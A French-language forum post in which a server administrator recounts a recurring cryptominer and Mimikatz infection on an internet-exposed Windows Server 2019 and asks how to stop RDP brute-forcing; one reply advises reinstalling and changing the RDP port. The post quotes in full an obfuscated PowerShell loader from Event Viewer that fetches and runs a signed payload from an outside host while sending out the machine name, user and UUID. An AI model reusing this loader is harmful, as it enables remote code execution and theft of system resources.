WinSVR - La bataille manuelle contre Trojan "Powershell,script..."

Copper Contributor

Hi,

 

Je vais vous expliquez ce qui s'est d'abord réellement passé, d'abord je pense que le problème est récurrent est récurrent chez plusieurs utilisateurs, administrateurs systèmes, mais je tiens à partager mon experience et trouver une meilleure solution.

 

J'ai un serveur "Windows server 2019" sur lequel est installé 2 VMwares avec une application web pour les ressources humaines. L'application est accessible depuis le web, (non par vpn) et nous utilisons une adresse ip plutôt public en fibre FTTH au lieu de "fibre en LS".

 

Au tout début, j'ai installé "Malwarebytes premium" en plus du "Windows Defender", j'ai bien configuré le Firewall Windows. Malwarebytes à commencer à détecter un trojan de type "Miner" bitco.... Au jour le jour, ce virus était mis en quarantaine. 

Je me suis posé la question de savoir, comment se fait-il que ce virus qui est mis en quarantaine, et le serveur est clean, soit au 2ième jour redétecter. 

En allant plus loin, je me rends compte que logiquement, la signature du virus est tous les jours regérénés. mais comment ils se retelechargent ? J'ai poussé plus loin mon analyse, et je me rends compte que le virus se refait telecharger à partir d'un script type "Powershell". Alors je vais jusqu'à recherche ce script "m2.ps1" s'execute sur un "web.client". Je décide de trouver la source du dossier qui est "\TEMP\". Je me rends compte enfaite qu'il y a aussi le "virus mimikatz".

 

Report_ScanVirus_m2powershell_26062020.PNG

 

 

--> Malwarebytes ne fonctionne plus.

--> Le CPU et la Memory du server atteignent les 90%. L'application par défaut ram, les utilisateurs n'arrivent plus à utiliser l'application externe.

--> Je prends la main avec windows defender aussi qui refuse de fonctionner.

--> Je décide de faire tout mannuellement, d'abord je scan tous les fichiers avec "virustotal" et je détecte effectivement tous les infectés. 

--> Je réactive "windows defender" dans les registry, en remettant à "0" le chiffres decimal.

--> "Restart windows defender", fonctionne de nouveau Je lance une analyse type "quick scan". 

--> Je detecte les mêmes virus que "Malwarebytes", que je décide de garder en quarantaine.

--> je réanalyse "0 threats".

--> Je décide de pousser plus loin mes analyses, car je remarque les fichiers du dossier "\temp\" sont toujours là. Alors je lance une analyse "personnalisée" avec WINDOWS DEFENDER sur le dossier et je detecte tous ses mauvais petits malins.

--> Mais curieux, je décide de regarder ce que le fichier source "*.ps1" cache. Je me rends comptes qu'il s'execute automatiquement tous les jours avec pouwershell, je retrouve l'adresse ip de connexion, et je vais le bloquer avec "windows firewall". 

--> Je bloque aussi "Powershell.exe" et plusieurs fichiers infectés en "*.exe" trouvé dans les dossiers \TEMP\

--> Le server est maintenant "clean avec 0 threat" par jour.

--> Le CPU retrouve ses 1% par jour mais la RAM reste à 50% avec le fichier "dns.exe" voluminué  à "1764mb".

------

Ce n'est pas tout !

Je décide de passer au Control journalier manuellement, et de regarder le comportement du Server au jour le jour, je lance un premier "netstart -anb". Je pousse plus loin avec "tcpview" qui me donne graphiquement les connexions entrantes/sortantes  "upd/tcp".

 

--> Je remarque que le "dns.exe" est executé des milliers de fois en "upd,udpv6". je laisse le temps de trouver une solution, tant que l'application  fonctionne alors tout va bien.

--> Je continue mon audit, et je remarque par jour "svchost ms-wb-svr" remote_adress sur plusieurs domains et IP en established ou timewait ou sync_rvd.

--> Je pousse mon analyse avec "abuseip" et je découvre que toutes les ip entrantes sont des bruteforcing par rdp.

--> Je pousse plus loin en allant chercher, qu'est-ce-qui exécute ces IP car je bloque tous les jours avec LE FIREWALL.

--> J’exécute l'event viewer pour découvrir réellement ce qui se passe et voilà le script que je découvre

 

N.B: ce webclient s’exécute sur plusieurs domaines par jour.

 

Malgré que le process de "powershell.exe" n'est plus exécuté, vu qu'il est bloqué par le firewall :

 

Spoiler
WINDOWS POWERSHELL -- EVENT VIEWER
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient).DownloadData($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zer'+'9g.com';a($url+'/a.jsp?mig_20200526?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

Et tous les jours, je vois des connexions bizarres, tous les jours de nouvelles ip avec "tcpview:

scan_svr_sage.jpeg

 

Mes ports scannés avec "nmap"

Report_26062020_PORTopen_Svr.PNG

 

Je ne peux pas fermé le port "3389" vu que je l'utilise pour me connecter par "rdp" sur le server.

Et nos consultants se connectent aux VM pour gérés l'application qui est encore en phase de "test".

 

Quel solution me donnerez vous pour ne plus voir ce genre de connexion entrantes established ?

 

--

Hussein

 

1 Reply

To the compromised server issue I'd suggest clean installing it. To the port 3389 issue you can change RDS to listen on another port.

 

https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/change-listen...